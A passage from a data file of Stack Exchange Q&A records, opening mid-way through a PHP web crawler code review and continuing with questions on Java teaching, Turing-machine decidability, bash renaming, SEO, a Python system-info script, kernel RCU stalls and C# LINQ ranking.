LinkModel::countTotal($parsedDomain);        if ($iCountCrawledUrls > CRAWLER_MAX_DEPTH) break; // We stop crawling this domain        if ($domainName === $parsedDomain) {            if ($priority === \\Crawler\\Engine\\Spider::HIGH_PRIORITY && $iCountCrawledUrls > CRAWLER_MAX_HIGH_URLS) {                $priority = \\Crawler\\Engine\\Spider::MEDIUM_PRIORITY;            }            $jobsData['priority'] = $priority;        } else {            $jobsData['priority'] = \\Crawler\\Engine\\Spider::LOW_PRIORITY;        }        $jobId = $pheanstalk->putInTube(QUEUE_NAME, json_encode($jobsData), $jobsData['priority'], $jobsData['delay']);        // The add method checks if the url is already present in the database        // To avoid adding multiple time the same url (and going in loop in case two sites links to each others !)        LinkModel::add($link, false, null, $jobId);    }}The Spider:<?phpnamespace Crawler\\Engine;class Spider {    const MAX_DOWNLOAD_SIZE = 1024*1024*100; // in bytes, =100kb    const LOW_PRIORITY = 1024; // = Default    const MEDIUM_PRIORITY = 512;    const HIGH_PRIORITY = 256;    private $options = array(        CURLOPT_FOLLOWLOCATION => true,        CURLOPT_FORBID_REUSE   => true,        CURLOPT_FRESH_CONNECT  => true,        CURLOPT_HEADER         => false,        CURLOPT_RETURNTRANSFER => true,        CURLOPT_SSL_VERIFYPEER => false,        CURLOPT_MAXREDIRS      => 5,        CURLOPT_TIMEOUT        => 5,        CURLOPT_ENCODING       => ''    );    private $curl = null;    private $url = null;    private $urlParts = array();    private $statusCode = null;    private $source = null;    public function __construct($url, $referer) {        $this->options[CURLOPT_WRITEFUNCTION] = array($this, 'curl_handler_recv');        $this->options[CURLOPT_REFERER] = $referer;        $this->curl = curl_init();        curl_setopt($this->curl, CURLOPT_URL, $url);        curl_setopt_array($this->curl, $this->options);        $this->source = '';    }    public function curl_handler_recv($curl, $data) {        $this->source .= $data;        if (strlen($this->source) > self::MAX_DOWNLOAD_SIZE) return 0;        return strlen($data);    }    public function exec() {        $start = round(microtime(true) * 1000);        curl_exec($this->getCurl());        $this->getUrl();        $this->getStatusCode();        curl_close($this->getCurl());        return round(microtime(true) * 1000) - $start;    }    public function getCurl() {        return $this->curl;    }    public function getSource() {        return $this->source;    }    public function getUrl() {        if (is_null($this->url)) {            $this->url = curl_getinfo($this->getCurl(), CURLINFO_EFFECTIVE_URL);            $this->urlParts = parse_url($this->url);        }        return $this->url;    }    public function getUrlParts($key = null) {        if (!is_null($key) && isset($this->urlParts[$key])) {            return $this->urlParts[$key];        }        return $this->urlParts;    }    public function getStatusCode() {        if (is_null($this->statusCode)) {            $this->statusCode = curl_getinfo($this->getCurl(), CURLINFO_HTTP_CODE);        }        return $this->statusCode;    }}The LinkExtractor class:<?phpnamespace Crawler\\Extractors;class LinkExtractor {    private static $excludes = array(        '.png', '.gif', '.jpg', '.jpeg', '.svg', '.mp3', '.mp4', '.avi', '.mpeg', '.ps', '.swf', '.webm', '.ogg', '.pdf',        '.3gp', '.apk', '.bmp', '.flac', '.gz', '.gzip', '.jpe', '.kml', '.kmz', '.m4a', '.mov', '.mpg', '.odp', '.oga', '.ogv', '.pps', '.pptx', '.qt', '.tar', '.tif', '.wav', '.wmv', '.zip',        // Removed '.js', '.coffee', '.css', '.less', '.csv', '.xsl', '.xsd', '.xml', '.html', '.html', '.php', '.txt', '.atom', '.rss'        // Implement later ?        '.doc', '.docx', '.ods', '.odt', '.xls', '.xlsx',    );    private static $excludedDomains = array(        '.google.', '.facebook.', '.bing.'    );    private static function _getBaseUrl($parsed_url) {        $scheme   = isset($parsed_url['scheme']) ? $parsed_url['scheme'] . '://' : '//';        $host     = isset($parsed_url['host']) ? $parsed_url['host'] : '';        $port     = isset($parsed_url['port']) ? ':' . $parsed_url['port'] : '';        return strtolower($scheme$host$port);    }    public static function extract(\\Crawler\\Engine\\Spider $spider) {        $parsed = parse_url(strtolower($spider->getUrl()));        if (!isset($parsed['scheme'])) {            $parsed['scheme'] = 'http';        }        $base = self::_getBaseUrl($parsed);        $host_length = strlen($parsed['host']);        preg_match_all(/(href|src)=[\\'\\]?([^\\'\\>]+)/i, $spider->getSource(), $out);        $linkPattern = '/^(?:[;\\/?:@&=+$,]|(?:[^\\W_]|[-_.!~*\\()\\[\\] ])|(?:%[\\da-fA-F]{2}))*$/';        $urls = array();        if (is_array($out) && isset($out[2])) {            foreach ($out[2] as $key=>$url) {                if (substr($url, 0, 2) === '#!') {                    // see https://developers.google.com/webmasters/ajax-crawling/docs/getting-started                    $url = $base.$parsed['path'].'?_escaped_fragment_='.substr($url, 2);                } else if (substr($url, 0, 2) === '//') { // generic scheme                    $url = $parsed['scheme'].'://'.$url;                } else if (substr($url, 0, 1) === '/') { // generic scheme                    $url = $base.$url;                } else if (substr($url, 0, 4) !== 'http') {                    continue;                }                if (strlen($url) > 250) continue; // We ignore too long urls                $urll = strtolower($url);                $parsed_url = parse_url($url);                if ($parsed_url === false) continue; // We ignore invalid urls                if (preg_match($linkPattern, $urll) !== 1) continue;                $isExcluded = false;                foreach (self::$excludes as $exclude) {                    if (substr($urll, strlen($exclude) * -1) === $exclude) {                        $isExcluded = true;                        break;                    }                }                foreach (self::$excludedDomains as $exclude) {                    if (strpos($urll, $exclude) !== false) {                        $isExcluded = true;                        break;                    }                }                if ($isExcluded) continue; // We ignore some extensions                if (\\Crawler\\Models\\LinkModel::isPresent($url)) continue; // We don't add a link that is already present                if (\\Crawler\\RobotsTxtParser::disallowed($url)) continue; // We respect robots.txt                $urls[$url] = true;            }        }        return array_keys($urls);    }}The LinkModel:<?phpnamespace Crawler\\Models;class LinkModel {    public static function __callStatic($name, $arguments) {        return call_user_func_array(array(self::get(), '_'.$name), $arguments);    }    private static $instance = null;    public static function get() {        if (is_null(self::$instance)) {            self::$instance = new self();        }        return self::$instance;    }    private $presentStmt = null;    private $countQueuedStmt = null;    private $countTotalStmt = null;    private function __construct() {        $this->presentStmt = \\Crawler\\Database::prepare('SELECT `id` FROM `urls` WHERE `url` = :url AND `executed` > (UTC_TIMESTAMP() - INTERVAL 1 MONTH) LIMIT 1;');        $this->detailsStmt = \\Crawler\\Database::prepare('SELECT `job_id` AS `job` FROM `urls` WHERE `url` = :url AND `executed` > (UTC_TIMESTAMP() - INTERVAL 1 MONTH) LIMIT 1;');        $this->insertStmt = \\Crawler\\Database::prepare('INSERT INTO `urls` (`url`, `is_crawled`, `executed`, `source`, `job_id`) VALUES (:url, :crawled, UTC_TIMESTAMP(), :source, :job)');        $this->updateStmt = \\Crawler\\Database::prepare('UPDATE `urls` SET `is_crawled` = :crawled WHERE `url` = :url AND `executed` > (UTC_TIMESTAMP() - INTERVAL 1 MONTH) LIMIT 1;');        $this->countQueuedStmt = \\Crawler\\Database::prepare('SELECT COUNT(id) AS `total` FROM `urls` WHERE (`url` LIKE :domaina OR url LIKE :domainb) AND `source` IS NULL AND `is_crawled` = 0 AND `executed` > (UTC_TIMESTAMP() - INTERVAL 1 MONTH);');        $this->countTotalStmt = \\Crawler\\Database::prepare('SELECT COUNT(id) AS `total` FROM `urls` WHERE (`url` LIKE :domaina OR url LIKE :domainb) AND `source` IS NULL AND `executed` > (UTC_TIMESTAMP() - INTERVAL 1 MONTH);');    }    public function _isPresent($url) {        $this->presentStmt->execute(array('url' => strtolower($url)));        $result = $this->presentStmt->fetch(\\PDO::FETCH_ASSOC);        return is_array($result);    }    /**     * crawled : The engine extracted this url     * redirectedFrom : The url it cames from, was redirected     *     * In certain case, crawled != fetched. This means the $url was a redrection from an other url     */    public function _add($url, $crawled = false, $redirectedFrom = null, $jobId = null) {        $url = strtolower($url);        if (is_null($jobId)) {            $this->detailsStmt->execute(array('url' => $url));            $result = $this->detailsStmt->fetch(\\PDO::FETCH_ASSOC);            // We search if already exists            if (is_array($result)) {                $this->_update($url, $crawled);                // And return the job id if present !                return (empty($result['job']) ? null : $result['job']);            }        }        // We insert        $this->insertStmt->execute(array(            'url' => $url,            'crawled' => $crawled,            'source' => $redirectedFrom,            'job' => $jobId        ));        return null;    }    public function _update($url, $crawled = false) {        $url = strtolower($url);        $this->updateStmt->execute(array(            'url' => $url,            'crawled' => $crawled        ));    }    public function _countQueued($domain) {        $this->countQueuedStmt->execute(array(            'domaina' => 'http://'.$domain.'%',            'domainb' => 'https://'.$domain.'%',        ));        $result = $this->countQueuedStmt->fetch(\\PDO::FETCH_ASSOC);        if (!is_array($result)) return 0;        return $result['total'];    }    public function _countTotal($domain) {        $this->countTotalStmt->execute(array(            'domaina' => 'http://'.$domain.'%',            'domainb' => 'https://'.$domain.'%',        ));        $result = $this->countTotalStmt->fetch(\\PDO::FETCH_ASSOC);        if (!is_array($result)) return 0;        return $result['total'];    }}"  , "title": "PHP web crawler"  , "tags": "performance;php;parsing;web scraping"  } 
{  "id": "_softwareengineering.21256"  , "question": "Java is often found in academia. What is the reason behind that? "  , "title": "Why do we study Java at university?"  , "tags": "java"  } 
{  "id": "_cs.43118"  , "question": "Consider the following language: $$L = \\{ \\langle M \\rangle \\ |\\ M \\text { is a TM that decides the halting problem} \\}$$determine whether or not the language is in $R$.Now, from my understanding an $\\langle M \\rangle \\in L$ doesn't necessarily returns the right answer but rather halts for every $\\langle P, x \\rangle$ where $p$ is a program (=TM) and $x$ is an input for the program.   I am guessing the language isn't decidable and can be showed as such by some reduction, but couldn't think of something useful. I'll be glad for help. "  , "title": "Determine if the language is $R$"  , "tags": "formal languages;turing machines;reductions;undecidability"  , "accepted_answer": "comments summary:The language $L$ is decidable.Hint: $L$ is in fact empty! It contains all the machines that decide the halting problem. But, the halting problem is undecidable => there are no machines that decide it."  } 
{  "id": "_unix.193013"  , "question": "I am attempting to move a sub-directory from one parent directory to another for hundreds of instances, while changing the name of the sub-directory during the move. My directories are a set of numbers:1000, 1001, 1002, 1003, ..., 1998, 1999Each directory has a sub-folder called 'old' (e.g., 1000/old), which I want to move into the next incremented directory (and rename the sub-folder).For example, I want to move '1000/old' to '1001/new'.I've tried using xargs, which I' new to, so I'm not sure I'm going in the right direction. I think what I want is something like:find 1* -name 'old' | xargs -i -t mv {} <dir+1>/newI'm just not sure how to implement incrementing (the dir+1 bit).I've also tried to implement a modification of the accepted answer to this question, but my modification is also not working properly (I'm using ls to test the code before I actually start moving/renaming directories):#!/bin/bashfor x in 1*; do  ls -d $x/old ${x}$i/new  ((++i))doneThe issue with the above is that the next directory becomes 10001, 10002, etc instead of 1001, 1002.Any suggestions are much appreciated."  , "title": "Moving sub-directory to new parent directory where the new directory name is incremented by 1"  , "tags": "bash;shell script;xargs;arithmetic;mv"  , "accepted_answer": "Shells treat strings representing integers in decimal as integers. If you have a directory whose name contains only digits with no leading zeros, you have a number and you can perform arithmetic on it.for d in 1*; do  mv $d/old $((d+1))/newdoneYou can make the script more robust and only perform the move if the old subdirectory actually exists, and create the destination if necessary.for d in 1*; do  if [ -d $d/old ]; then    mkdir -p $((d+1))    mv $d/old $((d+1))/new  fidonefind isn't useful here since you aren't traversing subdirectories recursively."  } 
{  "id": "_webmaster.79264"  , "question": "I recently helped a friend migrate from Blogger to Wordpress.  Everything is working great, and everything seems to be propagated.  Google search results are already displaying the new site information, but I've run into a small problem.When I search for her site on google from my desktop, results are fine.  However, when I search on a mobile device, the search results appear to be okay but when you actually click the link it adds ?m=1 to the end of the site address, causing the link not to work.I think ?m=1 was a Blogger thing - so I'm not sure why it is still doing this when nameservers are updated, and Google obviously reindexed the site.My question is this - is there something I can do to prevent this from being added to the end of the site address for Google search results?  Or do we just have to wait for Google indexing/crawling to take care of that?"  , "title": "Google search results mobile adding ?m=1 to end of site address"  , "tags": "google search"  } 
{  "id": "_cs.18210"  , "question": "First I apologize if I confused therms DFA and FSM, to me it seems that is the same thing. The question is simple: Are the flowcharts (sequence, branching and jumping) equivalent to DFA resp. FSM? I am a bit confused about this. There are classes where using logical synthesis, Karunaugh maps, state encodings, flip flops etc. one is able to construct hardware consisting of logic gates and flip-flops which realizes the desired DFA. Basically all processes that runs on the computer (no matter if is written in C# or Assembler), are at the lowest level realized through logical gates, zeros and ones. So it seems that programs firstly needs to be converted (by compiler I suppose) to some form as I've described. This might imply that every problem that is solvable using C# is solvable using FSM. But this is in contradiction to Chomsky hierarchy and all this theory related stuff, which says that you cannot do the same magic with regular expressions (which are based on FSM) that you can do on Turing machine (which is equivalent of any programming language, if I am wrong correct me please). Moreover, if flowcharts (or even C#, Java ... source codes) were equivalent to FSM why we do not have all software formally verified so far? There is mathematical apparatus for FSM and related stuff, so why do not formally verify everything and ensure the correctness? What I am missing here?"  , "title": "Flowcharts vs DFA resp FSM equivalency"  , "tags": "formal languages;turing machines;finite automata;computer architecture"  } 
{  "id": "_softwareengineering.212665"  , "question": "True or False: A string is the same thing as an array.I had an interview the other day and the above question was asked.  I said false, but the interviewer said it was actually true.  I explained to her that a string is a data type and an array is an object that holds multiple instances of a variable, and that they aren't even similar concepts.  But, she was an HR person who was just reading tech questions that were handed to her, so she couldn't elaborate or relate to my point.A coworker later explained the True answer by stating that a string is actually a character array... thus, a string is an array.  Now, if a string is a character array, that doesn't mean that document arrays or integer arrays qualify as strings.  Thus, a string is not the same thing as an array.But even so, (considering C#) a string isn't even a character array.  In order to do character manipulation on a string (without using concatenation methods), you have to convert the string to a character array.  Now, if a string was synonymous with a character array, why would you need to convert it?  Wouldn't you just be able to call each character in the string implicitly as you would a character array?  No!  Why?  Because a string is not a character array!I liken it to asking, Is a primary key the same as a unique identifier?  The answer is false.  Reason being: A primary key is a unique identifier, but you can have unique identifiers in a table without setting them as keys.  What do you all think?  Is a string (data type) the same thing as an array (object type)?  If so, why?"  , "title": "Settle an Argument: String vs. Array?"  , "tags": "strings;array"  } 
{  "id": "_codereview.97173"  , "question": "My usual disclaimer, I'm new to Python and scripting and I'm still studying the PEP8 guide, so please forgive any huge failures with respect to syntax, formatting and style. I'm open to any suggestions in regards to pretty much anything so let me have it!That said, I've been building little games to learn so far, but decided it's time to try to create something useful that I might actually use one day and continue to build off of. Being a sysadmin I decided to try to build a cross platform (Windows and OSX) script that would run performance and system information gathering.The version I'm about to paste is about 2 days old, and is in its infancy, but I wanted to get some feedback on a few things:Are there any obvious failures in how I'm structuring it that I should fix now?What are some suggestions for out of the box ways to gather the info and performance I'm getting with psutil? It's a non-standard module and I would like to make this script as standard as I can so it can just be run with a vanilla Python install. I'm considering just doing subprocess.call a lot, but figured that there has to be some stuff I'm not seeing when digging around the wild webs. Though it does look like they were considering adding it to the standard library back in October last year...Is there anything that you see that would concern you to run on your own system?I'm not sure how far I can get with this without it requiring some degree of admin rights, but that's a high priority for me, so I'll keep going until I hit a wall. I'm making a concerted effort to only call stuff that doesn't require admin rights.As well if you think this just isn't useful at all and there are 50 different other ways to do this via python already and I'm recreating a wheel that's already much more elegant, then let me know. I've done a lot of looking around and haven't found anything that does this in particular (except psutil itself), at least at the depth and scope I would like to see anyway.I'm also totally up for suggestions for functionality and features you think should go in here!#!/usr/bin/env python3'''This script is a system information and performance informationgathering script. It will pull information regarding live statslike memory and cpu as well as information like os version andserial number.It's designed to be cross platform between Windows and OSX butsome data just isn't available on both.This is an informational script only. It is not designed to changeany information, although with a few tweaks it could be.In the spirit of being easy to run, I've only applied funtions thatdon't require root/admin priviledges to run, so that any averageuser/process can use and utilize this.I may eventually branch this and remove psutil, as it's not a standardmodule and requires some work to install. I would like this scriptto be runnable from a default python install across platforms, soI may eventually completely isolate the OSX and windows functionsand remove the cross platform section, putting in some logic to makeit transparent to the user.Chris GleasonLast update - 7/12/2015Written for Python 3.x### NOTES: ###FUTURE WORK1) Figure out if dependencies exist and if not exit properly with an informative message2) If you can elegantly install the dependencies.3) Need to run as sudo to pull network info from psutilDEPENDENCIESpsutilOSXwget https://pypi.python.org/packages/source/p/psutil/psutil-3.1.0.tar.gz /tmptar -zxvf /tmp/psutil-3.1.0.tar.gz /tmp/pip install /tmp/psutil-3.1.0/psutilWINDOWShttps://pypi.python.org/packages/3.4/p/psutil/psutil-3.1.0.win32-py3.4.exe#md5=eb4504f7da8493a512a6f038a502a25c'''__version__ = $Revision: 1################# IMPORTS HERE #################import subprocessimport osimport platformimport sysimport argparseimport psutilimport readlineimport time############################################ ARGUMENTS AND SCRIPT RELATED ITEMS HERE ############################################parser = argparse.ArgumentParser(description='Print system usage statistics and system information. \\    Default (no args) will determine OS and gather ALL information')parser.add_argument('--ntfs' ,     action='store_true' ,    help='Gather Windows information')parser.add_argument('--osx' ,     action='store_true' ,    help='Gather OSX information')parser.add_argument('--sys' ,     action='store_true' ,    help='Gather System Information')parser.add_argument('--perf' ,     action='store_true' ,    help='Gather Performance Information')args = parser.parse_args()########################################### TRULY CROSS PLATFORM THINGS START HERE ###########################################def noargs():    '''    This function is to determine OS level if the user doesn't define it in the    command line switches    '''    if sys.platform == 'win32':        osver=ntfs        print('Platform is NTFS/Windows!')        runntfs()        runperf()        runsys()    elif sys.platform == 'darwin':        osver=osx        print('Platform is OSX!')        runosx()        runperf()        runsys()def runperf():    '''    This function runs cross platform performance related tests    '''    print('##########################')    print('Performance tests running!')    print('##########################')    print ('''    ''')    print('--------')    print('CPU INFO')    print('--------')    print('')    print('CPU times at runtime are ', psutil.cpu_times())    print('')    print('CPU percent per CPU at runtime is ', psutil.cpu_percent(interval=5, percpu=True))    print('')    print('''    ''')    print('-----------')    print('MEMORY INFO')    print('-----------')    print('')    print('Memory usage statistics are ', psutil.virtual_memory())    print('')    print('''    ''')    print('---------')    print('DISK INFO')    print('---------')    print('')    if sys.platform == 'darwin':        print('Disk usage is:\\n')        print(subprocess.call(['/bin/df', '-h']))        print('')        #print('Space usage from root down is:\\n', subprocess.call(['/usr/bin/du', '-hs', '/*',]))        print('')        print('Disk IO statistics are\\n ')        print(subprocess.call(['/usr/sbin/iostat', '-c10']))        print('')        print('Be sure to ignore the first iostat line, as per best practices')        print('')    if sys.platform == 'win32':        print('Disk usage is ', )    print('')    print('''    ''')    print('------------')    print('NETWORK INFO')    print('------------')    print('')    print('Network I/O stats ', psutil.net_io_counters(pernic=False))    print('')    print('')    print('')    print('')def runsys():    '''    This function runs cross platform system information gathering    '''    print('#############################')    print('System information gathering!')    print('#############################')    OS = sys.platform    print ('''    ''')    print('Your OS is ', platform.system(), platform.release(), '-', platform.version())    print('')    print('Your architecture is ', platform.architecture())    print('')    print('# of logical CPU\\'s are ', psutil.cpu_count())    print('')    print('# of physical CPU\\'s, including threaded are ', psutil.cpu_count(logical=False))    print('')    print('Disk information is ', psutil.disk_partitions(all=True))    print('')     if sys.platform == 'darwin':        print('Users on the system are:\\n')        print(subprocess.call(['who', '-a']))    print('')    if sys.platform == 'win32':        print('Users on the system are:\\n')    print('')####################################### WINDOWS SPECIFIC THINGS START HERE #######################################def runntfs():    '''    This function runs the Windows specific tests that can't be    put into the cross platform checks    '''    print('NTFS Tests running!')############################# OSX SPECIFIC THINGS HERE #############################def runosx():    '''    This function runs the OSX specific tests that can't be    put into the cross platform checks    '''    print('OSX Tests runnning!')################## MAIN CODE RUN ##################if args.ntfs and args.osx:    print (You can't run both Windows and OSX flags on the same system!)    exit(0)if args.ntfs:    print('You chose NTFS!')    runntfs()elif args.osx:    print('You chose OSX!')    runosx()else:    print('No OS specified!')if args.sys and args.perf:    print('You chose both System and Performance tests!')    runperf()    runsys()elif args.sys:    print('You chose to run System Information gathering only!')    runsys()elif args.perf:    print('You chose to tun Performance Metric tests only!')    runperf()else:    print(You didn't specify performance or system so both will be run!)#if len(args) == 0:#    noargs()if not len(sys.argv) > 1:    noargs()"  , "title": "Cross-platform performance and statistical information script"  , "tags": "python;beginner;performance;python 3.x;portability"  , "accepted_answer": "Duplicated logicYou have multiple repeated conditions on sys.platform.These repeated checks are not great because of the hard-coded platform strings.It would be better to encapsulate these checks in helper functions:def is_windows():    return sys.platform == 'win32'def is_osx():    return sys.platform == 'darwin'Other repeated code is header texts, like these:    print('--------')    print('CPU INFO')    print('--------')    # ...    print('-----------')    print('MEMORY INFO')    print('-----------')It would be better to create a helper function that takes a string,uppercases it, calculates the text length and formats a header text accordingly.Argument parsingInstead of having --ntfs and --osx flags and then doing extra validation to make sure only one of them was used,another option is to use choices:parser.add_argument('os', choices=('ntfs', 'osx'))This way, ArgumentParser will take care of the validation for you.When using ArgumentParser,it's not normal to use sys.argv too.The args value returned from parser.parse_args() should be all you need.SimplifyInstead of this:    print('')This is the same thing:    print()"  } 
{  "id": "_unix.252045"  , "question": "My board continues to display the message below.The terminal does not have any input.What is it with the following message, which I know? (T, g, c, q ...)What is the cause of this phenomenon?How can I fix this phenomenon?INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 0, t=3936547 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 2, t=3972552 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 1, t=4008557 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 1, t=4044562 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 2, t=4080567 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 0, t=4116572 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 1, t=4152577 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 0, t=4188582 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 1, t=4224587 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 1, t=4260592 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 1, t=4296597 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 2, t=4332602 jiffies, g=367023708, c=367023707, q=1511)INFO: rcu_preempt detected stalls on CPUs/tasks: { 3} (detected by 2, t=4368607 jiffies, g=367023708, c=367023707, q=1511)"  , "title": "rcu_preempt detected stalls on CPUs / tasks message appears to continue"  , "tags": "kernel;linux kernel;cpu;debugging;cpu frequency"  , "accepted_answer": "You probably have a real time application that is consuming all cpu (some bad implementation) and because of its realtime scheduling priority the system doesn't have enough resources available for other tasks.I suggests that you remove realtime priority from your applications and check which one is consuming a lot of CPU and, after correcting the problem, puts it back to realtime priority"  } 
{  "id": "_unix.154519"  , "question": "I have created an encrypted Archlinux partition on my SD card, but currently I am unable to decrypt it. I am using the key X&(4n=%YF3!BN which includes german letters. So for this I have included to /etc/mkinitcpio.conf:HOOKS=[...] keyboard keymap consolefont encrypt [...]In /etc/vconsole.conf I have added KEYMAP=de-latin1FONT=lat9w-16And in /boot/cmdline.txt I have added:vconsole.keymap=de-latin1 vconsole.font=lat9w-16But I am still unable to decrypt it and I just do not know how to solve this.I am looking forward to hear from you."  , "title": "Archlinux ARM Rasperry Pi decryption fail"  , "tags": "keyboard;login;cryptsetup;mkinitcpio"  } 
{  "id": "_webmaster.56267"  , "question": "I have a website post4city.com. Sent an application for Google AdSense. It was rejected with message.Site does not comply with Google policies: We're unable to approve your AdSense application at this time because your site does not comply with the Google AdSense program policiesTips to improve.Dont place ads on auto-generated pages or pages with little to no original content.  Your site should also provide a good user experience through clear navigation and organization. Users should be able to easily click through your pages and find the information theyre seeking.Before I resubmit I need suggestions about what changes I should be making? The site is in Joomla 2.5 - Adsmanager."  , "title": "How to comply with the Google AdSense policy that ads should not be placed on auto-generated pages?"  , "tags": "google adsense;advertising"  } 
{  "id": "_webmaster.53997"  , "question": "I have to change the urls of my site, from something like:www.site.com/page.htmltowww.site.com/page.html?value=randomvalue This will cause problems with SEO?"  , "title": "Adding query string to url already indexed, will cause problem with SEO?"  , "tags": "seo;web development;query string"  , "accepted_answer": "Google allow you to declare the purpose of query string parameters within Webmaster Tools. According to Google:In general, URL parameters fall into one of two categories:Parameters that don't change page content: for example, sessionid,  affiliateid. Parameters like these are often used to track visits and  referrers. They have no affect on the actual content of the page.Parameters that change or determine the content of a page: for  example, brand, gender, country, sortorder.If Google have already crawled pages with query strings then they may already appear on the URL Paramaters page in Webmaster Tools. Otherwise you can just click to Add parameter for any new ones.If the parameter doesn't affect the content displayed to the user, select No in the Does this parameter change list, and then click Save. If the parameter does affect the display of content, click Yes: Changes, reorders, or narrows page content, and then select how you want Google to crawl URLs with this parameter. For more information read the Webmaster Tools help page on URL Parameters."  } 
{  "id": "_softwareengineering.263177"  , "question": "Could no amount of formal analysis, type/rule checking prevent it's exploitation? How about a fully verified kernel such as SEL4 ?"  , "title": "Is software inherently buggy and hence, vulnerable?"  , "tags": "debugging;verification;vulnerabilities"  } 
{  "id": "_codereview.98440"  , "question": "I have to perform on some collection and return ranking based on some logicI wish to optimize this working code since I think it can be bettered (maybe using tasks?).I need to search on Counterparts item. I load this data from DB and I've got more aliases per counterpart.I need to return the result based on those criteria:Counterpart Code is equal to search stringCounterpart Code starts with search stringCounterpart Code contains search stringCounterpart Description contains search stringCounterpart Alias is equal to search stringCounterpart Alias starts with search stringCounterpart Alias contains search stringEach of those rules starts from Ranking 1 to 7 and I have to sort ok that ranking ascending.public class Counterpart{    public int Id { get; set; }    public string Code { get; set; }    public string Description { get; set; }    public IEnumerable<Alias> Aliases { get; set; }    public override bool Equals(object obj)    {        Counterpart obj2 = obj as Counterpart;        if (obj2 == null) return false;        return Id == obj2.Id;    }}public class Alias{    public int? Type { get; set; }    public string Description { get; set; }}internal class CounterPartRanking{    public int Rank { get; set; }    public Counterpart CounterPart { get; set; }}public static class CounterpartExtensions{    public static IEnumerable<Counterpart> SearchWithRank(this IEnumerable<Counterpart> source, string pattern)    {        var items1 = source.Where(x => x.Code == pattern);        var items2 = source.Where(x => x.Code.StartsWith(pattern));        var items3 = source.Where(x => x.Code.Contains(pattern));        var items4 = source.Where(x => x.Description.Contains(pattern));        var items5 = source.Where(x => x.Aliases != null && x.Aliases.Any(y => y.Description == pattern));        var items6 = source.Where(x => x.Aliases != null && x.Aliases.Any(y => y.Description.StartsWith(pattern)));        var items7 = source.Where(x => x.Aliases != null && x.Aliases.Any(y => y.Description.Contains(pattern)));        Stopwatch sw = Stopwatch.StartNew();        var rankedItems = new List<CounterPartRanking>();        if (items1.Any())            rankedItems.AddRange(items1.Select(x => new CounterPartRanking { Rank = 1, CounterPart = x }));        if (items2.Any())            rankedItems.AddRange(items2.Select(x => new CounterPartRanking { Rank = 2, CounterPart = x }));        if (items3.Any())            rankedItems.AddRange(items3.Select(x => new CounterPartRanking { Rank = 3, CounterPart = x }));        if (items4.Any())            rankedItems.AddRange(items4.Select(x => new CounterPartRanking { Rank = 4, CounterPart = x }));        if (items5.Any())            rankedItems.AddRange(items5.Select(x => new CounterPartRanking { Rank = 5, CounterPart = x }));        if (items6.Any())            rankedItems.AddRange(items6.Select(x => new CounterPartRanking { Rank = 6, CounterPart = x }));        if (items7.Any())            rankedItems.AddRange(items7.Select(x => new CounterPartRanking { Rank = 7, CounterPart = x }));        sw.Stop();        Debug.WriteLine(Time elapsed {0} for {1}, sw.Elapsed, pattern);        var items = rankedItems.OrderBy(x => x.Rank).Select(x => x.CounterPart);        var distinct = items.Distinct();        return distinct;    }}"  , "title": "Optimize LINQ search with custom fixed ranking"  , "tags": "c#;linq"  , "accepted_answer": "DistinctTake a look at the documentation for Distinct.A couple things from the remarks should stand out for you:The Distinct(IEnumerable) method returns an unordered sequence that contains no duplicate values.I know that the order of the sequence is preserved when using Distinct but that's an implementation detail - there's no gaurantee.The default equality comparer, Default, is used to compare values of the types that implement the IEquatable generic interface. To compare a custom data type, you must implement this interface and provide your own GetHashCode and Equals methods for the type.Your custom type Counterpart does not do this. It should implement IEquatable<Counterpart> and additionally override both GetHashCode and Equals.public class CounterPart : IEquatable<Counterpart>{    // ...    public bool Equals(Counterpart other)    {        // left for you.    }     public override bool Equals(object other)    {        return Equals(other as Counterpart);    }    public override bool GetHashCode()    {         // http://stackoverflow.com/a/263416/1402923    }}Now you have a type that is safe for use with Distinct!AddRangeAs far as I know, AddRange only throws when the collection is null. You don't need to check for items before you call it. That elminates a whole heap of code:rankedItems.AddRange(items1.Select(x => new CounterPartRanking { Rank = 1, CounterPart = x }));rankedItems.AddRange(items2.Select(x => new CounterPartRanking { Rank = 2, CounterPart = x }));rankedItems.AddRange(items3.Select(x => new CounterPartRanking { Rank = 3, CounterPart = x }));rankedItems.AddRange(items4.Select(x => new CounterPartRanking { Rank = 4, CounterPart = x }));rankedItems.AddRange(items5.Select(x => new CounterPartRanking { Rank = 5, CounterPart = x }));rankedItems.AddRange(items6.Select(x => new CounterPartRanking { Rank = 6, CounterPart = x }));rankedItems.AddRange(items7.Select(x => new CounterPartRanking { Rank = 7, CounterPart = x }));Other commentsAs I mentioned previously, this isn't gauranteed to be correct (but is in every instance I know of):var items = rankedItems.OrderBy(x => x.Rank).Select(x => x.CounterPart);var distinct = items.Distinct();"  } 
